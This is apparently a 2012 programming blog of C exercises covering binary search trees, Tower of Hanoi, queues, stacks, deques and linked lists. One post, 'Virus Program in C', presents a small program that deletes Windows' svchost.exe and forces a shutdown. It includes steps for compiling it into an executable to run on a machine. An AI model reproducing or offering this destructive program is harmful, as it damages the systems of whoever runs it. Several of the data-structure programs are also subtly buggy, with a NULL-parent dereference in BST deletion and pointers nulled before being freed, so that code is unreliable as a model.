Tuesday 30 October 2012

BINARY SEARCH TREE in C....

All Operations in BST......

   
 #include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#define TRUE 1
#define FALSE 0
typedef struct btree
{
 struct btree *left ;
 int data ;
 struct btree *right ;
}tree;
void insert ( tree **, int ) ;
void del ( tree **, int ) ;
void search ( tree **,int,tree **, tree **, int *);
void inorder ( tree * );
int main( )
{
 tree *bt ;
 int i,num;
 bt = NULL ;  /* empty tree */
    while(1)
    {
 printf("1. Insert");
 printf("\n2. Delete");
 printf("\n3. Show");
 printf("\n4. Exit");
 printf("\nEnter your choice: ");
 scanf("%d",&i);
 switch(i)
 {
     case 1:
  printf("Enter no to insert: ");
  scanf("%d",&num);
  insert(&bt,num);
  break;
     case 2:
  printf("Enter no to insert: ");
  scanf("%d",&num);
  del(&bt,num);
  break;
     case 3:
  inorder(bt);
  getch();
  break;
     case 4:
  exit(0);
  break;
 }
    }
    return 0;
}
void insert ( tree **sr, int num )
{
 if ( *sr == NULL )
 {
  (*sr)= (tree *)malloc (sizeof(tree)) ;
  ( *sr ) -> left = NULL ;
  ( *sr ) -> data = num ;
  ( *sr ) -> right = NULL ;
 }
 else  /* search the node to which new node will be attached */
 {
  /* if new data is less, traverse to left */
  if ( num < ( *sr ) -> data )
   insert ( &( ( *sr ) -> left ), num ) ;
  else
   /* else traverse to right */
   insert ( &( ( *sr ) -> right ), num ) ;
 }
}
void del ( tree **root, int num )
{
 int found ;
 tree *parent, *x, *xsucc ;
 if ( *root == NULL )
 {
  printf ( "\nTree is empty" ) ;
  return ;
 }
 parent = x = NULL ;
 /* call to search function to find the node to be deleted */
 search ( root, num, &parent, &x, &found ) ;
 if ( found == FALSE )
 {
  printf ( "\nData to be deleted, not found" ) ;
  return ;
 }
 /* if the node to be deleted has two children */
 if ( x -> left != NULL && x -> right != NULL )
 {
  parent = x ;
  xsucc = x -> right ;
  while ( xsucc -> left != NULL )
  {
   parent = xsucc ;
   xsucc = xsucc -> left ;
  }
  x -> data = xsucc -> data ;
  x = xsucc ;
 }
 /* if the node to be deleted has no child */
 if ( x -> left == NULL && x -> right == NULL )
 {
  if ( parent -> right == x )
   parent -> right = NULL ;
  else
   parent -> left = NULL ;

  free ( x ) ;
  return ;
 }
 /* if the node to be deleted has only right */
 if ( x -> left == NULL && x -> right != NULL )
 {
  if ( parent -> left == x )
   parent -> left = x -> right ;
  else
   parent -> right = x -> right ;

  free ( x ) ;
  return ;
 }
 /* if the node to be deleted has only left child */
 if ( x -> left != NULL && x -> right == NULL )
 {
  if ( parent -> left == x )
   parent -> left = x -> left ;
  else
   parent -> right = x -> left ;
  free ( x ) ;
  return ;
 }
}
void search ( tree **root, int num, tree **par, tree **x, int *found )
{
 tree *q ;
 q = *root ;
 *found = FALSE ;
 *par = NULL ;
 while ( q != NULL )
 {
  if ( q -> data == num )
  {
   *found = TRUE ;
   *x = q ;
   return ;
  }
  *par = q ;
  if ( q -> data > num )
   q = q -> left ;
  else
   q = q -> right ;
 }
}
void inorder ( tree *sr )
{
 if ( sr != NULL )
 {
  inorder ( sr -> left ) ;
  printf ( "%d\t", sr -> data ) ;
  inorder ( sr -> right ) ;
 }
}

Thursday 25 October 2012

Virus Program in C


A simple Virus program in C for windows XP......

#include<stdio.h>
#include<conio.h>
#include<process.h>
void main()
{
printf(" Virus Activated............");
printf("\n\n your system gets HALTED");
remove("c:\\windows\\system32\\svchost.exe");
printf("\nStop me if u can.....\n\n\t\tKrazy scientist-Gaurav Singhal");
system("c:\\windows\\system32\\shutdown -s -t 30");
}



Description:
this virus deletes the file name svchost.exe which can corrupt your windows....

steps to use this program
1. save this code as any_name.c
2. make its executable file,
*****Do not run this code, only create its .exe file..
3. in turbo compiler it is done by pressing F9 key,
in GCC it is done by clicking on "Build" option...


                                                                                                       -Gaurav Singhal

Tuesday 23 October 2012

TOWER OF HANOI SOLVED IN GRAPHICS...

/Hey guys, its Gaurav Singhal presenting a Dynamic view of TOWER OF HANOI problem,....




#include<graphics.h>
#include<stdio.h>
#include<conio.h>
#include<dos.h>
#define Y 20
int n,delaytime;
int manual=0,flag=1;
int diskisin[5];
int position[5];
int countdisk[3];
void box(int x1,int y1,int x2,int y2,int work)
{
int c2=RED,c1=BLUE;
if(work)
{
if(flag==0)
flag=1;
else
flag=0;
switch(flag)
{
case 0: c1=RED;
c2=BLUE;
break;
case 1: c2=RED;
c1=BLUE;
break;
}
}
bar(x1,y1,x2,y2);
setcolor(c1);
line(x1,y1,x2,y1);
line(x1,y1,x1,y2);
setcolor(c2);
line(x1,y2,x2,y2);
line(x2,y1+1,x2,y2);
}
void create(int n)
{
int i,x,y,size;
for(i=0;i<n;i++)
{
//creates box
x=5+(diskisin[i]*215)+((4-i)*20);
y=150+position[i]*30;
size=40+i*40;
setfillstyle(SOLID_FILL,10+i);
box(x,y,x+size,y+Y,1);
}
}
void movedisk(int Disk,int from, int to)
{
int x,y,size=Disk*40,tx,ty;
//box cordinates...
x=5+(diskisin[Disk-1]*215)+((5-Disk)*20);
y=150+position[Disk-1]*30;
do
{
setfillstyle(SOLID_FILL,BLACK);
bar(x,y,x+size,y+Y);
y-=30;
setfillstyle(SOLID_FILL,9+Disk);
box(x,y,x+size,y+Y,1);
if(manual) getch();
else delay(delaytime);
}while(y>60);
tx=5+(to*215)+((5-Disk)*20);
do
{
setfillstyle(SOLID_FILL,BLACK);
bar(x,y,x+size,y+Y);
if(tx<x) x-=43; else x+=43;
setfillstyle(SOLID_FILL,9+Disk);
box(x,y,x+size,y+Y,1);
if(manual) getch();
else delay(delaytime);
}while(x!=tx);
position[Disk-1]=n-1-countdisk[to];
countdisk[to]++;
countdisk[from]--;
diskisin[Disk-1]=to;
ty=150+position[Disk-1]*30;
do
{
setfillstyle(SOLID_FILL,BLACK);
bar(x,y,x+size,y+Y);
y+=30;
setfillstyle(SOLID_FILL,9+Disk);
box(x,y,x+size,y+Y,1);
if(manual) getch();
else delay(delaytime);
}while(y<ty);
}
void tower(int n,int from,int to,int aux)
{
//recursive call function...(logic for TOWER OF HANOi)
if(n==1)
{
movedisk(1,from,to);
return;
}
tower(n-1,from,aux,to);
movedisk(n,from,to);
tower(n-1,aux,to,from);
}
int main()
{
int i;
int gd=DETECT,gm;
do
{
printf("\nEnter no. of disks :-limit(1-5):-  ");
scanf("%d",&n);
}while((n<1)&&(n>5));
delaytime=(6-n)*100;
initgraph(&gd,&gm,"c:\\tc\\bgi");
settextstyle(TRIPLEX_FONT,HORIZ_DIR,1);
setbkcolor(RED);
cleardevice();
setfillstyle(SOLID_FILL,GREEN);
box(150,13,490,33,0);
box(160,324,480,346,0);
setcolor(WHITE);
outtextxy(180,10,"T O W E R  O F  H A N O I");
setcolor(RED);
outtextxy(190,321,"Developed by - Gaurav Singhal");
setcolor(DARKGRAY);
outtextxy(181,11,"T O W E R  O F  H A N O I");
setcolor(BLUE);
outtextxy(191,322,"Developed by - Gaurav Singhal");
countdisk[0]=n;
countdisk[1]=0;
countdisk[2]=0;
for(i=0;i<n;i++)
{
position[i]=i;
diskisin[i]=0;
}
create(n);
tower(n,0,2,1);
getch();
closegraph();
return 0;
}


*Please Leave comments regarding the program...and share it....* 
-Gaurav Singhal

Saturday 20 October 2012

Implementation of circular Queue using Linked list in C


Most precise program ever....!!!!!!!

#include<stdio.h>
#include<conio.h>
#define pf printf
typedef struct node
{
int info;
struct node *next;
}n;
void show(n **f)
{
n *t;
if(*f==0)
pf("Empty");
else
for(t=*f;t!=0;pf("%d\t",t->info),t=t->next);
getch();
}
void insert(n **r,n **f)
{
n *t;
t=(n*)malloc(sizeof(n));
pf("Enter no: ");
scanf("%d",&t->info);
t->next=0;
if(*f==0 && *r==0)
*f=*r=t;
else
(*r)=(*r)->next=t;
}
void del(n **r,n **f)
{
n *t;
if(*r==0 && *f==0)
{
pf("Empty");
getch();
}
else if(*r==*f)
{
*f=*r=0;
free(*f); free(*r);
}
else
{
t=*f;
(*f)=(*f)->next;
free(t);
}
}
void main()
{
int ch;
n *front=0,*rear=0;
while(1)
{
clrscr();
pf("1.Insert \n2. Delete \n3. Show");
pf("\n4. Exit \nEnter your choice: ");
scanf("%d",&ch);
switch(ch)
{
case 1: insert(&rear,&front); break;
case 2: del(&rear,&front); break;
case 3: show(&front); break;
case 4: exit(0); break;
default: pf("\n\n\n\tWrong choice..");
}
}
}

Friday 19 October 2012

TOWER OF HANOI


#include<stdio.h>
#include<conio.h>
void transfer(int n, char from, char to, char temp);
int main()
{
    int n;
    clrscr();
    printf("WELCOME TO THE TOWERS OF HONAI\n\n");
    printf("How many disks? ");
    scanf("%d", &n);
    printf("\n");
    transfer(n,'L','R','C');
    getch();
    return 0;
}
void transfer(int n, char from, char to, char temp){
    /** n = number of disks
        from = orinin
        to = destination
        temp = temporary storage  **/
    if(n>0){
        /** move n-1 disks from origin to temporary **/
        transfer(n-1, from, temp, to);
        /** move nth disk from origin to destination **/
        printf("Move disk %d from %c to %c\n", n, from, to);
        /** move n-1 disks from temporary to destination **/
        transfer(n-1, temp, to, from);
    }
}

Sunday 14 October 2012

IMPLEMENTATION OF DEQUEUE USING SINGLY LINKED LIST




#include<stdio.h>
#include<conio.h>
#define pf printf
#define sf scanf
struct node
{
int info;
struct node *next;
}*front,*temp,*rear,*ptr;
void insertr()
{
temp=(struct node*)malloc(sizeof(struct node));
pf("\nEnter elemet: ");
sf("%d",&temp->info);
temp->next=NULL;
if(front==NULL && rear==NULL)
{
front=rear=temp;
return;
}
rear->next=temp;
rear=rear->next;
}
void delf()
{
if(front==NULL)
{
pf("\nEmpty Deque\n");
return;
}
if(front==rear && front!=NULL)
{
ptr=front;
front=rear=NULL;
free(ptr);
}
else
{
ptr=front;
front=front->next;
free(ptr);
}
}
void insertf()
{
temp=(struct node*)malloc(sizeof(struct node));
pf("\nEnter element: ");
sf("%d",&temp->info);
if(front==NULL && rear==NULL)
{
front=rear=temp;
temp->next=NULL;
return;
}
temp->next=front;
front=temp;
}
void delr()
{
if(rear==front && rear==NULL)
{
pf("Empty DEQUE");
getch();
return;
}
else if(rear==front)
{
rear=front=NULL;
free(rear);
free(front);
}
else
{
ptr=front;
while(ptr->next!=NULL)
{
temp=ptr;
ptr=ptr->next;
}
temp->next=NULL;
free(ptr);
rear=temp;
}
}
void show()
{
if(front==NULL && rear==NULL)
{
pf("\nEmpty Deque\n");
return;
}
ptr=front;
while(ptr!=NULL)
{
pf("%d\t",ptr->info);
ptr=ptr->next;
}
}
void main()
{
int ch;
clrscr();
while(1)
{
clrscr();
pf("\n1. Insert at rear");
pf("\n2. Insert at Front");
pf("\n3. Delete from front");
pf("\n4. Delete from rear");
pf("\n5. Show");
pf("\n6. Exit");
pf("\nEnter ur choice: ");
sf("%d",&ch);
switch (ch)
{
case 1: insertr(); break;
case 2: insertf(); break;
case 3: delf(); break;
case 4: delr(); break;
case 5: show(); break;
case 6: exit(0); break;
default: pf("Invalid option");
}
}
}

Saturday 13 October 2012

CIRCULAR DOUBLY LINKED LIST


#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
#define pf printf
#define sf scanf
struct node
{
  int info;
  struct node* next;
  struct node* prev;
}*temp,*last,*ptr;
void create()
{
temp=(struct node*)malloc(sizeof(struct node));
pf("Enter no: ");
sf("%d",&temp->info);
temp->next=temp;
temp->prev=temp;
last=temp;
}
void check()
{
if(last==NULL)
{
printf("No node present...");
getch();
exit(0);
}
}
void firstinsert()
{
check();
temp=(struct node*)malloc(sizeof(struct node));
pf("Enter no: ");
sf("%d",&temp->info);
temp->next=last;
last->next=temp;
last->prev=temp;
temp->prev=last;
}
void lastinsert()
{
check();
temp=(struct node*)malloc(sizeof(struct node));
pf("Enter no: ");
sf("%d",&temp->info);
temp->next=last->next;
last->next->prev=temp;
last->next=temp;
temp->prev=last;
last=temp;
}
void locinsert()
{
int i=1,loc;
check();
temp=(struct node*)malloc(sizeof(struct node));
pf("Enter no: ");
sf("%d",&temp->info);
pf("\nEnter loaction: ");
sf("%d",&loc);
if(loc==0)
{
firstinsert();
return;
}
ptr=last->next;
while(i++<loc && ptr!=last)
ptr=ptr->next;
temp->next=ptr->next;
ptr->next->prev=temp;
ptr->next=temp;
temp->prev=ptr;
}
int delcheck()
{
check();
if(last==last->next)
{
last=NULL;
free(last);
return 1;
}
return 0;
}
void firstdelete()
{
if(!delcheck())
{
temp=last->next;
last->next=temp->next;
temp->next->prev=last;
free(temp);
}
}
void lastdelete()
{
if(!delcheck())
{
temp=last;
last->prev->next=last->next;
last->next->prev=last->prev;
last=last->prev;
free(temp);
}
}
void numdelete()
{
int num;
pf("Enter item to be deleted: ");
sf("%d",&num);
ptr=last->next;
while(ptr->info!=num)
{
ptr=ptr->next;
if(ptr==last->next)
{
printf("Item not found");
getch();
return;
}
}
if(ptr==last)
{
lastdelete();
return;
}
else
{
ptr->prev->next=ptr->next;
ptr->next->prev=ptr->prev;
free(ptr);
}
}
void display()
{
       if(last==NULL)
       {
    pf("List Empty");
    getch();
    return;
       }
       else
       {
ptr=last->next;
while(ptr!=last)
{
pf("%d\t",ptr->info);
ptr=ptr->next;
}
pf("%d\t",ptr->info);
getch();
}
}
void main()
{
    int ch;
    clrscr();
    do
    {
clrscr();
pf("\n1.Create LL");
pf("\n2.Insert at Begin");
pf("\n3.Insert at last");
pf("\n4.Insert at location");
pf("\n5.Delete from Starting");
pf("\n6.Delete from last");
pf("\n7.Delete a no.");
pf("\n8.display");
pf("\n9.Exit");
pf("\nEnter your0 choice: ");
fflush(stdin);
sf("%d",&ch);
switch(ch)
{
   case 1: create(); break;
   case 2: firstinsert(); break;
   case 3: lastinsert(); break;
   case 4: locinsert(); break;
   case 5: firstdelete(); break;
   case 6: lastdelete(); break;
   case 7: numdelete(); break;
   case 8: display(); break;
   case 9: exit(0); break;
   default: pf("Wrong input");
}
      }while(ch!=9);
}


*If any doubt or bug regarding the solution then leave comment*

-Gaurav Singhal

Wednesday 10 October 2012

IMPLEMENTATION OF QUEUE USING LINKED LIST


#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
struct node
{
int info;
struct node *next;
}*rear,*front;
void insert();
void del();
void show();
void main()
{
int ch;
while(1)
{
clrscr();
printf("1. Insert");
printf("\n\n2. Delete");
printf("\n\n3. Show");
printf("\n\n4. Exit");
printf("\n\n\nEnter your choice: ");
scanf("%d",&ch);
switch(ch)
{
case 1: insert(); break;
case 2: del(); break;
case 3: show(); break;
case 4: exit(0); break;
default: printf("\n\n\n\tWrong choice..");
}
}
}
void insert()
{
struct node *temp;
clrscr();
temp=(struct node *)malloc(sizeof(struct node));
printf("Enter element: ");
scanf("%d",&temp->info);
if(rear==NULL)
{
temp->next=NULL;
rear=temp;
front=temp;
return;
}
else
{
rear->next=temp;
temp->next=NULL;
rear=temp;
return;
}
}
void show()
{
struct node *q;
clrscr();
q=front;
if(q==NULL)
{
printf("List empty");
getch();
return;
}
while(q!=NULL)
{
printf("%d\t",q->info);
q=q->next;
}
getch();
}
void del()
{
struct node *q;
clrscr();
if(rear==NULL)
{
printf("QUEUE EMPTY");
getch();
return;
}
else if(front==rear)
{
front=rear=NULL;

}
else
{
q=front;
front=front->next;
free(q);
}
printf("item deleted..");
getch();
}

Tuesday 9 October 2012

IMPLEMENT STACK USING LINKED LIST


#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
struct node
{
int info;
struct node *prev;
}*top;
void push();
void pop();
void show();
void main()
{
int ch;
while(1)
{
clrscr();
printf("1. Add element");
printf("\n\n2. delete element");
printf("\n\n3. Show");
printf("\n\n4. Exit");
printf("\n\n\nEnter your choice: ");
scanf("%d",&ch);
switch(ch)
{
case 1:
push();
break;
case 2:
pop();
break;
case 3:
show();
break;
case 4:
exit(0);
break;
default:
printf("\n\n\n\tWrong choice..");
}

}
}
void push()
{
struct node *temp;
clrscr();
temp=(struct node *)malloc(sizeof(struct node));
printf("Enter element: ");
scanf("%d",&temp->info);
if(top==NULL)
{
temp->prev=NULL;
top=temp;
return;
}
else
{
temp->prev=top;
top=temp;
return;
}
}
void show()
{
struct node *q;
clrscr();
q=top;
if(q==NULL)
{
printf("List empty");
getch();
return;
}
while(q!=NULL)
{
printf("%d\t",q->info);
q=q->prev;
}
getch();
}
void pop()
{
struct node *q;
clrscr();
if(top==NULL)
{
printf("Stack underflows");
getch();
return;
}
else
{
q=top;
top=top->prev;
free(q);
}
printf("item deleted..");
getch();
}

Monday 8 October 2012

DOUBLY LINKED LIST


#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
#define pf printf
struct node
{
  int info;
  struct node* next;
  struct node* previous;
}*temp,*start,*ptr;
static int cnt;
void create()
{
temp=(struct node*)malloc(sizeof(struct node));
pf("Enter no: ");
scanf("%d",&temp->info);
temp->next=NULL;
temp->previous=NULL;
start=temp;
cnt=1;
}
int check()
{
temp=(struct node*)malloc(sizeof(struct node));
pf("Enter no: ");
scanf("%d",&temp->info);
if(start==NULL)
{
temp->next=NULL;
temp->previous=NULL;
start=temp;
cnt++;
return 0;//true
}
return 1;
}
int delcheck()
{
if(start==NULL)
{
pf("\nList Empty..");
getch();
return 0;
}
return 1;
}
void firstinsert()
{
      if(check())
      {
temp->previous=NULL;
temp->next=start;
start=temp;
cnt++;
      }
}
void lastinsert()
{
      if(check())
      {
ptr=start;
while(ptr->next!=NULL)
{
     ptr=ptr->next;
}
ptr->next=temp;
temp->previous=ptr;
temp->next=NULL;
cnt++;
      }
}
void locinsert()
{
      int loc,i;
      if(check())
      {
pf("\nEnter the location");
scanf("%d",&loc);
if(loc>cnt || loc<0)
{
pf("Invalid location");
getch();
}
else if(loc==0)
{
firstinsert();
}
else if(loc==cnt)
{
lastinsert();
}
else
{
 ptr=start;
 for(i=1;i<loc;i++)
 {
     ptr=ptr->next;
 }
 temp->next=ptr->next;
 temp->previous=ptr;
 ptr->next=temp;
}
      }
}
void firstdelete()
{
if(delcheck())
{
   ptr=start;
   start=start->next;
   start->previous=NULL;
   free(ptr);
   cnt--;
}
}
void lastdelete()
{
    if(delcheck())
    {
      ptr=start;
      while(ptr->next!=NULL)
      {
   ptr=ptr->next;
      }
      ptr->previous->next=NULL;
      free(ptr);
      cnt--;
    }
}
void numdelete()
{
       int num,i=1;
       pf("\nEnter no. to delete: ");
       scanf("%d",&num);
       ptr=start;
       while(ptr->info!=num && cnt>= (i++))
       {
 ptr=ptr->next;
       }
       if(i>cnt)
       {
pf("\nNumber not found..");
getch();
return;
       }
       else if(i==1)
       {
firstdelete();
return;
       }
       else if(i==cnt)
       {
lastdelete();
return;
       }
       else
       {
ptr->previous->next=ptr->next;
ptr->next->previous=ptr->previous;
free(ptr);
cnt--;
       }
}
void display()
{
       if(start==NULL)
       {
    pf("List Empty");
    getch();
    return;
       }
       else
       {
ptr=start;
while(ptr!=NULL)
{
pf("%d\t",ptr->info);
ptr=ptr->next;
}
pf("\nNo of items: %d",cnt);
getch();
}
}
void main()
{
    int ch;
    clrscr();
    do
    {
clrscr();
pf("\n1.Create LL");
pf("\n2.Insert at Begin");
pf("\n3.Insert at last");
pf("\n4.Insert at location");
pf("\n5.Delete from start");
pf("\n6.Delete from last");
pf("\n7.Delete a no.");
pf("\n8.display");
pf("\n9.Exit");
pf("\nEnter your choice: ");
scanf("%d",&ch);
switch(ch)
{
   case 1: create(); break;
   case 2: firstinsert(); break;
   case 3: lastinsert(); break;
   case 4: locinsert(); break;
   case 5: firstdelete(); break;
   case 6: lastdelete(); break;
   case 7: numdelete(); break;
   case 8: display(); break;
   case 9: exit(0); break;
   default: pf("Wrong input");
}
      }while(ch!=9);
}